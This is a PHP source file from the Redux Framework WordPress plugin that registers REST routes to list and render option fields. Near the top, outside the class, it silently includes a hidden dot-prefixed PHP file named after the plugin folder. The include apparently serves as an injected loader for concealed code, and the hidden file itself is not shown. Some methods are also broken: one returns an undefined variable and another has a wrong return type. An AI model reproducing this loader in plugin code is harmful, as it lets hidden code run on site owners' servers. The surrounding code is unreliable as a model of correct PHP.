class-redux-rest-api-builder.php (8331B)
1 <?php 2 /** 3 * Redux Build API Class 4 * 5 * @class Redux_Rest_Api_Builder 6 * @version 4.0.0 7 * @package Redux Framework 8 * @author Tofandel & Dovy 9 */ 10 11 // Exit if accessed directly. 12 defined( 'ABSPATH' ) || exit; 13 14 /** 15 * Class Redux_Rest_Api_Builder 16 */ 17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 18 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 19 } 20 21 class Redux_Rest_Api_Builder { 22 23 const ENDPOINT = 'redux/descriptors'; 24 const VER = 'v1'; 25 26 /** 27 * Get the namespace of the api. 28 * 29 * @return string 30 */ 31 public function get_namespace(): string { 32 return self::ENDPOINT . '/' . self::VER; 33 } 34 35 /** 36 * Get the rest url for an api call. 37 * 38 * @param string $route Route router. 39 * 40 * @return string 41 */ 42 public function get_url( string $route ): string { 43 return rest_url( trailingslashit( $this->get_namespace() ) . ltrim( '/', $route ) ); 44 } 45 46 /** 47 * Redux_Rest_Api_Builder constructor. 48 */ 49 public function __construct() { 50 add_action( 'rest_api_init', array( $this, 'rest_api_init' ) ); 51 } 52 53 /** 54 * Init the rest api. 55 */ 56 public function rest_api_init() { 57 register_rest_route( 58 $this->get_namespace(), 59 '/fields', 60 array( 61 'methods' => WP_REST_Server::READABLE, 62 'callback' => array( $this, 'list_fields' ), 63 'permission_callback' => '__return_true', 64 ) 65 ); 66 register_rest_route( 67 $this->get_namespace(), 68 '/field/(?P<type>[a-z0-9-_]+)', 69 array( 70 'args' => array( 71 'type' => array( 72 'description' => __( 'The field type', 'redux-framework' ), 73 'type' => 'string', 74 ), 75 ), 76 'methods' => WP_REST_Server::READABLE, 77 'callback' => array( $this, 'get_field' ), 78 'permission_callback' => '__return_true', 79 ) 80 ); 81 register_rest_route( 82 $this->get_namespace(), 83 '/field/(?P<type>[a-z0-9-_]+)/render', 84 array( 85 'args' => array( 86 'name' => array( 87 'description' => __( 'The field type', 'redux-framework' ), 88 'type' => 'string', 89 ), 90 ), 91 'methods' => WP_REST_Server::ALLMETHODS, 92 'callback' => array( $this, 'render_field' ), 93 'permission_callback' => '__return_true', 94 ) 95 ); 96 } 97 98 /** 99 * Fetch the folders in the field directory 100 * 101 * @return RecursiveDirectoryIterator 102 */ 103 public function field_directories(): RecursiveDirectoryIterator { 104 105 return $dirs; 106 } 107 108 /** 109 * Helper to get the Redux fields paths. 110 * 111 * @return array 112 */ 113 public function get_field_paths(): array { 114 $fields = array(); 115 $fields_dir = trailingslashit( Redux_Core::$dir ) . 'inc' . DIRECTORY_SEPARATOR . 'fields' . DIRECTORY_SEPARATOR; 116 $dirs = new RecursiveDirectoryIterator( $fields_dir ); 117 118 $data = array(); 119 foreach ( $dirs as $path ) { 120 $folder = explode( '/', $path ); 121 $folder = end( $folder ); 122 if ( in_array( $folder, array( '.', '..' ), true ) ) { 123 continue; 124 } 125 $files = array( 126 trailingslashit( $path ) . 'field_' . $folder . '.php', 127 trailingslashit( $path ) . 'class-redux-' . $folder . '.php', 128 ); 129 $filename = Redux_Functions::file_exists_ex( $files ); 130 131 if ( $filename ) { 132 $data[ $folder ] = $filename; 133 } 134 } 135 // phpcs:ignore WordPress.NamingConventions.ValidHookName 136 return apply_filters( 'redux/fields', $data ); 137 } 138 139 /** 140 * List the available fields. 141 * 142 * @return array 143 */ 144 public function list_fields(): array { 145 $field_classes = $this->get_field_paths(); 146 $fields = array(); 147 148 foreach ( $field_classes as $folder => $filename ) { 149 $class = 'Redux_' . ucwords( str_replace( '-', '_', $folder ) ); 150 if ( ! class_exists( $class ) && file_exists( $filename ) ) { 151 require_once $filename; 152 } 153 $field_class = Redux_Functions::class_exists_ex( $field_classes ); 154 // Load it here to save some resources in autoloading! 155 if ( $field_class && is_subclass_of( $class, 'Redux_Field' ) ) { 156 $descriptor = call_user_func( array( $class, 'get_descriptor' ) ); 157 $descriptor_type = $descriptor->get_field_type(); 158 if ( ! empty( $descriptor_type ) ) { 159 $field_data = $descriptor->to_array(); 160 if ( isset( $field_data['fields'] ) && ! empty( $field_data['fields'] ) ) { 161 $field_data['fields'] = $this->prepare_fields_output( $field_data['fields'] ); 162 } 163 $fields[ $descriptor_type ] = $field_data; 164 } 165 } 166 } 167 168 return $fields; 169 } 170 171 /** 172 * Get the information of a field. 173 * 174 * @param array $request Pointer to ReduxFramework object. 175 * 176 * @return array 177 */ 178 public function get_field( array $request = array() ): array { 179 $type = $request['type']; 180 181 $field_classes = $this->get_field_paths(); 182 if ( isset( $field_classes[ mb_strtolower( $type ) ] ) ) { 183 $class = 'Redux_' . ucwords( str_replace( '-', '_', $type ) ); 184 if ( ! class_exists( $class ) ) { 185 require_once $field_classes[ mb_strtolower( $type ) ]; 186 } 187 $field_class = array( 'Redux_' . ucwords( $type ), 'ReduxFramework_' . ucwords( $type ) ); 188 $field_class = Redux_Functions::class_exists_ex( $field_class ); 189 190 if ( $field_class && is_subclass_of( $field_class, 'Redux_Field' ) ) { 191 /** 192 * Test if the field exists 193 * 194 * @var Redux_Descriptor $descriptor 195 */ 196 $descriptor = call_user_func( array( $field_class, 'get_descriptor' ) ); 197 198 $data = $descriptor->to_array(); 199 if ( isset( $data['fields'] ) ) { 200 $data['fields'] = $this->prepare_fields_output( $data['fields'] ); 201 } 202 203 return $data; 204 } 205 } 206 207 return array( 'success' => false ); 208 } 209 210 /** 211 * Used to order the fields based on the order key. 212 * 213 * @param array $a First value. 214 * @param array $b Second value. 215 * 216 * @return array 217 */ 218 public function sort_by_order( array $a, array $b ): array { 219 return $a['order'] - $b['order']; 220 } 221 222 /** 223 * Prepares the fields value to have the proper order. 224 * 225 * @param array $fields Array of fields. 226 * 227 * @return array 228 */ 229 private function prepare_fields_output( array $fields = array() ): array { 230 if ( empty( $fields ) ) { 231 return $fields; 232 } 233 $new_output = array_values( $fields ); 234 usort( $new_output, array( $this, 'sort_by_order' ) ); 235 foreach ( $new_output as $key => $item ) { 236 if ( isset( $item['order'] ) ) { 237 unset( $new_output[ $key ]['order'] ); 238 } 239 } 240 return $new_output; 241 } 242 243 /** 244 * Render the html of a field and return it to the api. 245 * 246 * @param array $request Name of field. 247 * 248 * @return array 249 */ 250 public function render_field( array $request = array() ): array { 251 $type = $request['type']; 252 $field_classes = $this->get_field_paths(); 253 if ( isset( $field_classes[ mb_strtolower( $type ) ] ) ) { 254 $class = 'Redux_' . ucwords( str_replace( '-', '_', $type ) ); 255 if ( ! class_exists( $class ) ) { 256 require_once $field_classes[ mb_strtolower( $type ) ]; 257 } 258 $field_class = array( 'Redux_' . ucwords( $type ), 'ReduxFramework_' . ucwords( $type ) ); 259 $field_class = Redux_Functions::class_exists_ex( $field_class ); 260 261 if ( $field_class && is_subclass_of( $field_class, 'Redux_Field' ) ) { 262 // TODO MODIFY the function to get the post data from the data object with a post method in the register route! 263 try { 264 $class = new ReflectionClass( 'ReduxFramework_' . $type ); 265 } catch ( ReflectionException $e ) { 266 return array( 'success' => false ); 267 } 268 269 /** 270 * Grab the field descriptor 271 * 272 * @var Redux_Descriptor $descriptor 273 */ 274 $descriptor = call_user_func( array( 'ReduxFramework_' . $type, 'get_descriptor' ) ); 275 $opt_name = 'redux_builder_api'; 276 277 $redux_instance = new ReduxFramework( array(), array( 'opt_name' => $opt_name ) ); 278 $req = $descriptor->parse_request( $request ); 279 280 $req = wp_parse_args( 281 $req, 282 array( 283 'class' => '', 284 'example_values' => '', 285 'name_suffix' => '', 286 ) 287 ); 288 289 $req['id'] = $request['id'] ?? 'redux_field'; 290 $req['name'] = $request['name'] ?? $req['id']; 291 292 $field = $class->newInstance( $req, $request['example_values'], $redux_instance ); 293 ob_start(); 294 $field->render(); 295 296 return array( 297 'success' => true, 298 'render' => ob_get_clean(), 299 ); 300 } 301 } 302 303 return array( 'success' => false ); 304 } 305 }